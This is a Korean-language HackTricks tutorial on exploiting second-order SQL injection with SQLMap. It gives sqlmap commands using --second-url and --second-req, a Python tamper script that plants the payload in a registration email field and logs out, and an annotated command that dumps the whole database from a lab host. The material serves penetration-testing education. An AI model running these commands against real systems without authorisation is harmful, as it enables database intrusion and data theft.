Second Order Injection - SQLMap

Support HackTricks

SQLMap은 2차 SQLi를 이용할 수 있습니다. 다음 정보를 제공해야 합니다:

  • SQL 인젝션 페이로드가 저장될 요청

  • 페이로드실행될 요청

SQL 인젝션 페이로드가 저장되는 요청은 sqlmap의 다른 인젝션과 같이 표시됩니다. SQL 인젝션의 출력/실행을 sqlmap이 읽을 수 있는 요청--second-url 또는 파일에서 전체 요청을 지정해야 하는 경우 --second-req로 표시할 수 있습니다.

간단한 2차 예시:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

여러 경우에 이것만으로는 충분하지 않을 것입니다. 왜냐하면 페이로드를 전송하고 다른 페이지에 접근하는 것 외에 다른 작업을 수행해야 하기 때문입니다.

이럴 때는 sqlmap tamper를 사용할 수 있습니다. 예를 들어, 다음 스크립트는 sqlmap 페이로드를 이메일로 사용하여 새 사용자를 등록하고 로그아웃합니다.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

A SQLMap tamper는 페이로드로 인젝션 시도를 시작하기 전에 항상 실행됩니다 그리고 페이로드를 반환해야 합니다. 이 경우 우리는 페이로드에 신경 쓰지 않지만, 몇 가지 요청을 보내는 것에 신경 쓰므로 페이로드는 변경되지 않습니다.

그래서, 어떤 이유로 인해 두 번째 순서 SQL 인젝션을 이용하기 위해 더 복잡한 흐름이 필요하다면:

  • "이메일" 필드에 SQLi 페이로드가 포함된 계정 생성

  • 로그아웃

  • 해당 계정으로 로그인 (login.txt)

  • SQL 인젝션을 실행하기 위한 요청 전송 (second.txt)

이 sqlmap 명령어가 도움이 될 것입니다:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
HackTricks 지원하기

Last updated